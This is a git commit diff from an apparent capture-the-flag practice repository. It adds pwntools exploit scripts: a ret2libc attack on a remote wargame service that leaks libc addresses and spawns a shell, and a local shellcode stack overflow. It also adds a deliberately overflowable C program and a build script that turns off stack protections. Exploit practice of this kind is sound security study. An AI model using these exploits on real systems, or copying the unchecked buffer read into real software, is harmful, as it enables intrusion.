Renamed
This commit is contained in:
30
StackOverflow/ASLR/answer.py
Normal file
30
StackOverflow/ASLR/answer.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python2
|
||||
from pwn import *
|
||||
from LibcSearcher import *
|
||||
import os
|
||||
context.log_level = "debug"
|
||||
context(arch = "i386",os = "linux")
|
||||
|
||||
p = remote("hackme.inndy.tw", 7702)
|
||||
#p = process('./toooomuch')
|
||||
elf = ELF('./toooomuch')
|
||||
p.recvuntil("Give me your passcode: ")
|
||||
|
||||
puts_plt = elf.plt['puts']
|
||||
puts_got = elf.got['puts']
|
||||
toooomuch_func = elf.sym['toooomuch']
|
||||
payload = 0x18*'z'+p32(0)+p32(puts_plt)+p32(toooomuch_func)+p32(puts_got)
|
||||
p.sendline(payload)
|
||||
p.recvuntil("You are not allowed here!\n")
|
||||
puts_libc = u32(p.recv(4))
|
||||
|
||||
libc = LibcSearcher('puts', puts_libc)
|
||||
libc_base = puts_libc - libc.dump('puts')
|
||||
system_libc = libc_base + libc.dump('system')
|
||||
binsh_libc = libc_base + libc.dump('str_bin_sh')
|
||||
p.recvuntil("Give me your passcode: ")
|
||||
|
||||
payload = 0x18*'z'+p32(0)+p32(system_libc)+p32(toooomuch_func)+p32(binsh_libc)
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
BIN
StackOverflow/ASLR/toooomuch
Executable file
BIN
StackOverflow/ASLR/toooomuch
Executable file
Binary file not shown.
15
StackOverflow/no-protection/answer.py
Normal file
15
StackOverflow/no-protection/answer.py
Normal file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python2
|
||||
from pwn import *
|
||||
from LibcSearcher import *
|
||||
import os
|
||||
context.log_level="debug"
|
||||
context(arch="amd64",os="linux")
|
||||
|
||||
p=process('./hello')
|
||||
shellcode=asm(shellcraft.sh())
|
||||
len_sc=len(shellcode)
|
||||
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
|
||||
with open('payload.txt', 'w') as f:
|
||||
f.write(payload)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
2
StackOverflow/no-protection/compile.sh
Executable file
2
StackOverflow/no-protection/compile.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie
|
||||
BIN
StackOverflow/no-protection/hello
Executable file
BIN
StackOverflow/no-protection/hello
Executable file
Binary file not shown.
13
StackOverflow/no-protection/hello.c
Normal file
13
StackOverflow/no-protection/hello.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
void SayHello(void){
|
||||
char tmpName[60];
|
||||
read(0, tmpName, 1000);
|
||||
printf("Hello %s\n", tmpName);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv){
|
||||
SayHello();
|
||||
return 0;
|
||||
}
|
||||
BIN
StackOverflow/no-protection/payload.txt
Normal file
BIN
StackOverflow/no-protection/payload.txt
Normal file
Binary file not shown.
Reference in New Issue
Block a user